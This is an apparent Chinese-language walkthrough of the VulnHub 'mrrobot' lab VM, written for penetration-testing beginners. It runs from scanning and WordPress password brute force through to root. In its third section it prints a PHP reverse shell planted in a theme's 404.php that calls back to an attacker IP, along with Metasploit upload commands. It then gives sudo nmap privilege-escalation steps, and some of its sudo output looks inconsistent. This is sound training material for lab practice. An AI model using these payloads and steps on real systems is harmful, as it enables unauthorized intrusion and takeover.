VulnHub上的 mrrobot 靶机,这几年几乎是所有玩渗透测试入门的“必经一站”。很多朋友想练手,但往往卡在最前面的靶场搭建上,或者明明照着别人的通关笔记一步步操作,却死活打不通,最后只能放弃。其实这个靶机设计得非常经典,虽然看起来是 2015 年左右的老家伙,但它把“信息收集 -> Web 渗透 -> 密码破解 -> 提权”这条完整链路串得明明白白,非常锻炼基本功。最近看到不少人在问 vulnhub 靶场搭建的细节,以及 DC-1、DC-2 这类热门靶机怎么打,那正好借 mrrobot 这个靶机,把从 0 到 1 拿 root 的完整过程和一些踩坑经验写出来,给刚入坑的朋友一个参考。
老规矩,我的环境是 VMware Workstation + Kali Linux,靶机镜像从 VulnHub 官网下载,文件不大,大概几百 MB。整个通关过程涉及三个 flag,需要你有基本的 Linux 命令基础,知道 nmap、wpscan 这些工具是干嘛用的。如果你之前连 VulnHub 上的 DC-1、DC-2 都没碰过,也完全没关系,这篇文章会从搭建开始一步步讲清楚。
1. 靶场搭建与网络配置
很多新手下载完 mrrobot 的 OVF 文件后,第一反应是双击导入,然后发现靶机开机后根本不知道 IP 是多少,连都连不上。这里的问题九成出在虚拟网络配置上。
1.1 从 VulnHub 下载并导入虚拟机
先在 VulnHub 网站搜索mrrobot,找到对应条目后下载镜像。它是一个 OVF 模板文件(可能是一个压缩包,里面包含 .ovf、.vmdk、.mf 等文件),这种格式可以直接用 VMware Workstation 的“打开虚拟机”功能导入,不需要像 ISO 那样自己建虚拟机,比较省事。
导入时注意几点:
- VMware 版本最好用 15 以上,低版本打开 OVF 可能提示文件版本不兼容,这时候需要用“文件 -> 打开”手工选择 .ovf 文件,或者在导入后用“虚拟机 -> 兼容性 -> 更改硬件兼容性”调整。
- 内存和 CPU 默认配置一般就够用,mrrobot 是轻量靶机,给 1G 内存、单核 CPU 就能跑。
- 靶机默认使用桥接或者 NAT 网络,我在 VMware 中习惯把它改成 NAT 模式。原因是 Kali 攻击机也使用 NAT 模式时,两台虚拟机会自动处于同一个网段,互相能 ping 通,而桥接模式如果宿主机网络环境比较复杂(比如公司网络有隔离),反而容易出幺蛾子。
1.2 攻击机与靶机网络连通性验证
启动 mrrobot 虚拟机后,你会在屏幕上看到一堆刷过的启动日志,最后停留在一个登录提示符。它不会像 VMware 的“简易安装”那样自动告诉你 IP,所以需要用其他方法探测。
我常用的方法有两种:
- 在 Kali 里执行
netdiscover -r 192.168.xxx.0/24,它会通过 ARP 扫描整个网段,列出所有在线主机。靶机的 MAC 地址是 VMware 虚拟机的默认前缀,很容易认出来,一般多出来的那一台就是靶机。 - 如果 netdiscover 没装,也可以用
arp-scan --local,原理一样,都是二层发现,速度很快。
找到靶机 IP 后,先用ping测一下连通性。如果 ping 不通,重点检查两件事:
- NAT 模式下两台机器是否确实在同一网段。可以用
ifconfig或ip a看 Kali 的 IP 前缀; - VMware 的虚拟网卡是否处于启用状态,Windows 宿主机防火墙有没有拦截虚拟机的流量。
这里补充一句:VulnHub 的老靶机通常默认开启 DHCP,所以只要 NAT 网络没问题,靶机自动就会获得 IP,不需要自己改配置。如果遇到靶机开机后卡住不动、IP 一直不出来,可以等 30 秒再按回车,或者直接重启靶机试试。这个原因多数是 VMware 给虚拟机分配动态 IP 时慢了几拍,属于常见问题。
2. 信息收集:从主机发现到端口扫描
拿到靶机 IP 之后,很多新手急着打开浏览器访问网站,然后就开始暴力破解或者乱扫目录,结果绕了半天没进展。实际上信息收集做得越扎实,后面反而越省力。
2.1 全端口扫描与服务识别
先做一次快速的全端口扫描,命令如下:
nmap -sS -p- -T4 <靶机IP>-T4是提速的,靶机在虚拟机里,网络条件好,完全可以开满速。扫描结果会显示开放了 80 和 443 两个 TCP 端口,分别是 HTTP 和 HTTPS。
接着用-sV和-A做服务和版本探测,进一步确认:
nmap -sV -A -p 80,443 <靶机IP>从输出能看到 80 端口运行的是 Apache HTTPD,443 是 Apache 加 SSL。这里有个细节:mrrobot 的 443 端口自签名证书,浏览器访问会提示不安全,但这不影响后续渗透。
很多通关教程会省略这个阶段直接去看网页,但实际项目中服务版本识别决定了你能不能快速找到已知漏洞。比如在 DC-1 靶机里,抓取 Drupal 版本号后能直接定位到 Drupalgeddon 漏洞;在 DC-2 靶机里,通过识别 WordPress 版本和插件版本,也能少走很多弯路。mrrobot 虽然没到那么依赖版本漏洞的程度,但这个过程本身值得养成习惯。
2.2 打开网页看“门面”和 robots.txt
浏览器访问http://<靶机IP>,你会看到一个类似终端界面的动画页面,这是向美剧《Mr. Robot》致敬的页面。这时候别光顾着看动画,第一件事是查robots.txt。
robots.txt是给搜索引擎爬虫看的规则文件,但在渗透测试里经常能拿到第一手信息。访问http://<靶机IP>/robots.txt后,会看到两个关键条目:
fsocity.dic key-1-of-3.txtkey-1-of-3.txt显然就是第一个 flag,直接访问下载。fsocity.dic则是一个字典文件,下载下来看看内容,你会发现里面是一堆看起来像用户名或者密码的字符串,但它实际上是后面破解 WordPress 登录凭据的“弹药库”。
这里有个非常重要的经验:字典文件的利用价值往往不亚于一次性漏洞。很多人在拿到fsocity.dic之后,只把它当成一个靶机彩蛋,没有重视。但实际上这个字典在设计时已经包含了端口扫描和目录扫描可信度的“心理战”:它里面包含大量重复条目,需要在后续使用前先做去重处理,否则会让爆破效率大打折扣。
具体去重命令很简单:
sort fsocity.dic | uniq > fsociety_uniq.dic然后再统计行数,去重前可能有几十万行,去重后可能只有一万行左右。这一步不做的话,wpscan 和 hydra 跑了半天都出不来结果,算是 mrrobot 靶机专门给新手挖的第一个坑。
3. WordPress 站点渗透与拿下初始 Shell
通过浏览器访问首页时,细心的朋友可能已经发现网页上有 WordPress 的痕迹,比如登录入口在/wp-login.php路径下,或者页面源码中出现了wp-content之类的目录名。确认 CMS 是 WordPress 后,接下来就是信息收集和爆破环节。
3.1 目录扫描:摸清 WordPress 路径
先用 gobuster 或者 dirb 扫一下目录,看看有没有明显路径。推荐用 gobuster,速度快,命令如下:
gobuster dir -u http://<靶机IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak扫描结果里一般会出现/wordpress目录(mrrobot 实际把 WordPress 放在了这个子目录下)。这时候你访问http://<靶机IP>/wordpress,会看到正儿八经的 WordPress 博客页面。这个博客页面信息量并不大,但确认了 WordPress 是主要攻击面。
另外,使用浏览器查看页面源码,或者用whatweb工具,也能获取 WordPress 的版本信息。但 mrrobot 的 WordPress 主体已经被卸载或移除了部分提示信息,所以直接扫描版本用处不大,重点还是放在用户枚举和弱口令爆破上。
3.2 使用 wpscan 枚举用户
WordPress 的默认 URL 结构里,作者页面可以通过?author=1来枚举用户名。比如访问http://<靶机IP>/wordpress/?author=1,会自动跳转到该作者的页面,URL 中会带上用户名。
用 wpscan 更直接:
wpscan --url http://<靶机IP>/wordpress --enumerate uwpscan 会遍历用户枚举,最终输出一个用户名:elliot。
在 DC-2 靶机里,wpscan 输出的用户名不止一个,而且还会告诉你elliot是管理员;在 DC-1 里则没有 WordPress 这个过程。但共同点是,拿到有效用户名后,下一步就要围绕这个用户做爆破。
3.3 用 fsocity.dic 字典爆破 WordPress 后台密码
既然拿到了elliot这个用户名,下一步自然是用 wordpress 后台的登录接口做密码爆破。mrrobot 的高明之处在于:它把爆破字典直接放在robots.txt里,让你自己用,省得你还得去找字典。
我用的是 wpscan 的密码爆破功能,命令是:
wpscan --url http://<靶机IP>/wordpress --usernames elliot --passwords /path/to/fsociety_uniq.dic --max-threads 50注意这里千万别用原始字典,一定要用去重后的fsociety_uniq.dic。第一次打的时候我用原始字典跑,跑了十分钟没反应,还以为是命令参数不对。后来单独wc -l看了一下文件行数才发现里面有海量重复项。去重之后,爆破非常快,几十秒就能出结果。
输出中会有一段高亮提示:
[SUCCESS] Username : elliot | Password : ER28-0652没错,密码就是ER28-0652。拿到这个密码之后,可以先用它登录 WordPress 后台,也可以顺手测试一下 SSH 登录,因为很多时候用户会复用密码。但这里有个细节:mrrobot 的系统用户robot和 WordPress 用户elliot是两个人,不一定复用同一个密码,所以先别急着放弃 SSH 爆破。
登录 WordPress 后台后,你会看到经典的仪表盘界面。这里我们要利用 WordPress 的“主题编辑”功能来写一个一句话后门,或者直接上传一个反弹 shell 文件。
3.4 通过主题编辑写入 php 反弹 Shell
WordPress 后台 -> 外观 -> 主题编辑器,选择当前启用的主题(一般是 Twenty 系列),编辑404.php文件。把原本内容清空,填入下面这段 PHP 反弹 shell 代码:
<?php set_time_limit(0); $ip = '<KALI_IP>'; $port = '4444'; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); ?>保存后,先在 Kali 上启动监听:
nc -lvnp 4444然后访问http://<靶机IP>/wordpress/wp-content/themes/twentyfifteen/404.php,只要这个 404 页面被触发,PHP 代码就会执行,反弹 shell 就会连到 Kali 上。
这里有个小技巧:直接访问 404.php 可能因为 WordPress 权限设置不会执行,建议访问一个不存在的路径(比如http://<靶机IP>/wordpress/shell.php),让 WordPress 加载 404.php 模板,从而触发代码。
实际测试时,我更喜欢用 Metasploit 的wp_admin_shell_upload模块,自动化程度高,不容易因为手工编辑主题引发语法错误。命令如下:
msfconsole use exploit/unix/webapp/wp_admin_shell_upload set RHOSTS <靶机IP> set RPORT 80 set TARGETURI /wordpress set USERNAME elliot set PASSWORD ER28-0652 set LHOST <KALI_IP> set LPORT 4444 run这种利用方式在近几年的 VulnHub 靶机里几乎通用,比如 DC-2 也是 WordPress 站,拿到后台后同样可以上传 shell,但最终提权方式不同。建议新手两种方法都试一遍,手工流程能帮你理解原理,MSF 流程能帮你提高效率。
拿下 shell 后,当前用户一般是www-data,权限非常低,第一步就是升级成交互式 TTY:
python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm Ctrl+Z stty raw -echo; fg这样做的好处是后续用 vim、less 这类交互式命令时不会报错,也方便用 Tab 补全。很多新手拿到 shell 后不去升级 TTY,结果执行命令时经常卡死,非常影响体验。
4. 提权到 root:破解密码与利用特权命令
拿到www-data的 shell 后,我先在/home目录下转了一圈。这里有个典型的“信息泄露”点:/home/robot目录下存放着两个文件,一个是key-2-of-3.txt,另一个是password.raw-md5。
key-2-of-3.txt权限只有 robot 用户可读,www-data是读不了的。但password.raw-md5是全世界可读的,里面有 robot 用户的密码哈希。
robot:$1$......$......这个哈希是标准的 MD5 crypt 格式,可以用 John the Ripper 来跑字典。
4.1 用 John the Ripper 破解 robot 用户密码
先把 hash 保存成文件,比如hash.txt,格式保持用户名:哈希即可。然后解压 Kali 自带的 rockyou 字典:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz接着跑:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt如果字典里恰好有该密码,几秒内就能跑出来。mrrobot 这个靶机比较“仁慈”,密码是abcdefghijklmnopqrstuvwxyz,我一开始还以为是乱写的,后来发现这是美剧《Mr. Robot》里主角曾经用过的“最烂密码”梗。
如果你跑半天跑不出来,大概率是网络连接下载的字典有问题,或者目标靶机 hash 格式没认出来。可用john --format=md5crypt强制指定格式。这一步在 DC-1 里也有类似场景,DC-1 的 flag4 需要你破解出某个用户的密码哈希,和这里用的方法完全一致。
4.2 通过 SSH 登录 robot 并获取第二个 flag
拿到密码后,直接 SSH 登录 robot 用户:
ssh robot@<靶机IP>输入密码abcdefghijklmnopqrstuvwxyz,成功登陆后,读取/home/robot/key-2-of-3.txt,得到第二个 flag。
这一步相当于完成了一次“水平权限提升”测试:从www-data的无权限状态,提升到系统普通用户robot。接下来要做的是垂直提权,往 root 爬。
4.3 利用 sudo 特权执行 nmap 实现提权
进入 robot 用户后,第一时间查看当前用户拥有的 sudo 权限:
sudo -l输出结果会显示:
User robot may run the following commands on this host: (ALL) NOPASSWD: ALL (ALL) NOPASSWD: /usr/local/bin/nmap也就是说,robot 可以无需密码以 root 身份运行 nmap。这个看似“普通”的权限,其实是经典的提权入口。
nmap 支持交互模式,在执行sudo nmap --interactive后,可以直接进入 nmap 内部的nmap>命令行。在这个交互式环境中执行!sh,它会以当前权限(也就是 root)开启一个 shell。
完整命令如下:
sudo nmap --interactive nmap> !sh id屏幕上应该会输出uid=0(root),代表你已经成功提权到 root。接下来直接读取最后一个 flag:
cat /root/key-3-of-3.txt三个 flag 集齐,整个靶机也就通关了。
可能有人会问:nmap 交互模式提权是什么原理?简单理解就是 nmap 在运行时会调用系统 shell,如果你用 root 权限运行 nmap,那么内部执行的 shell 也是 root 权限。只要 nmap 没有被设置为受限制模式,这个交互式后门就存在。
在 DC-2 靶机中,对应的提权路径是利用sudo -l看到某条coockie命令可以以 root 身份运行,但需要先绕过 RBash 的受限 shell。那是一个完全不同的思路,但核心思想一样:仔细检查可执行文件的 sudo 权限,很多系统默认安装的软件都能成为提权跳板。
5. 常见问题与排查思路
整个 mrrobot 通关过程中,最容易出问题的地方集中在几个环节。这里我把常见问题整理成一个表,方便你对照排查。
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 靶机启动后 Kali 扫不到 IP | 网络模式不是同一网段,或 VMware 网络服务异常 | 确认两台虚拟机都设为 NAT;重启 VMware NAT Service;在靶机登录界面直接ip a查看 |
| robots.txt 里两个文件都能访问,但后续 wpscan 爆破不出密码 | fsocity.dic 未去重,爆破时间过长 | 使用sort fsocity.dic | uniq生成新字典,再重新爆破 |
| wpscan 爆破提示“429 Too Many Requests” | WordPress 有登录频率限制插件 | 降低线程数,或使用--random-user-agent参数,间歇性跑 |
| 修改主题 404.php 后访问无反应 | WordPress 路径不对,或者访问页面不是通过模板渲染的 | 确认主题实际目录名;访问http://IP/wordpress/?p=404或直接访问后台预览页面 |
| 反弹 shell 连接不上 | 端口被 Kali 防火墙拦截,或 payload 代码执行失败 | 检查nc -lvnp监听是否开启;可用 MSF 模块尝试;确认 KALI_IP 是当前网卡 IP |
| john 破解 robot hash 失败 | rockyou 字典未解压,或哈希格式识别错误 | 解压/usr/share/wordlists/rockyou.txt.gz;使用john --format=md5crypt指定格式 |
执行sudo nmap --interactive报错 | 某些新版本 nmap 移除了交互模式,或者安全编译 | 可使用sudo nmap --script或sudo nmap -oN /tmp/xxx来利用写文件权限,也可以直接用sudo /usr/local/bin/nmap --interactive确认路径 |
另外要特别提醒一点:mrrobot 靶机的 WordPress 路径是/wordpress,而不是根目录。如果你直接用 wpscan 扫描http://IP/不指定子目录,很可能什么都扫不出来,或者漏掉一些关键信息。同理,目录扫描时也别忘了扫子目录,很多时候真正的服务藏在/admin、/phpmyadmin、/wordpress这类路径下面。
在实际测试中,我还遇到过靶机在反复重试爆破后出现服务无响应的情况,这多半是因为 wpscan 线程太高导致 Apache 连接数被占满。这时候别慌,等一两分钟,连接会自动释放,也可以用kill关闭靶机重启恢复。
最后再说一点个人经验:mrrobot 这个靶机非常适合用来训练“完整渗透流程”的手感,但它的重点并不在于某个 0day 漏洞,而是考察你能不能耐心地做好信息收集、能不能灵活利用公开的字典和工具、能不能在拿到权限后顺着线索找到下一个入口。这些能力在 DC-1、DC-2 以及真实渗透项目中都是通用的。我第一次打 mrrobot 时,卡在fsocity.dic去重那一步将近一个晚上,当时觉得题目是在故意刁难人,后来接触的靶机多了才发现,这种“把字典喂到你嘴边但你又急不可耐不去思考”的陷阱,其实很常见。如果你卡壳了,不妨停下来想想:答案会不会就藏在你已经拿到但尚未仔细观察的文件里?这种踩坑后的顿悟,可能就是这种老靶机最大的价值。